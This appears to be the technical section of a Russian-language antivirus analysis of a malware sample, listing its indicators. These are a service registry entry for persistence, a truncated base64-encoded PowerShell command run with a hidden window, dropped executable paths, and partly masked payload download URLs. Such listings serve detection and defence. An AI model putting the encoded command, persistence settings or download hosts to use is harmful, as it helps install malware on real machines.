Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mtxclu] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mtxclu] 'ImagePath' = '"%WINDIR%\SysWOW64\hbaapi\mtxclu.exe"'
- 'mtxclu' "%WINDIR%\SysWOW64\hbaapi\mtxclu.exe"
- 'mtxclu' %WINDIR%\SysWOW64\hbaapi\mtxclu.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAHIAdwBmAHUANgBmAD0AKAAnAEYAbwAnACsAJwA4AGkAJwArACcANQB4AHAAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAHYAOgBUAEUATQBQAFwAbwBGAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AG...
- %TEMP%\office2019\bnpsn2cf.exe
- %WINDIR%\syswow64\hbaapi\mtxclu.exe
- %TEMP%\office2019\bnpsn2cf.exe в %WINDIR%\syswow64\hbaapi\mtxclu.exe
- '65.#6.62.20':80
- http://sw####ommerce.com/wp-content/uploads/2015/f9K/
- http://65.#6.62.20/j3wf/iM5kZ/XNzm0WOA/
- DNS ASK sw####ommerce.com
- '%TEMP%\office2019\bnpsn2cf.exe'
- '%WINDIR%\syswow64\hbaapi\mtxclu.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAHIAdwBmAHUANgBmAD0AKAAnAEYAbwAnACsAJwA4AGkAJwArACcANQB4AHAAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAHYAOgBUAEUATQBQAFwAbwBGAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AG...' (со скрытым окном)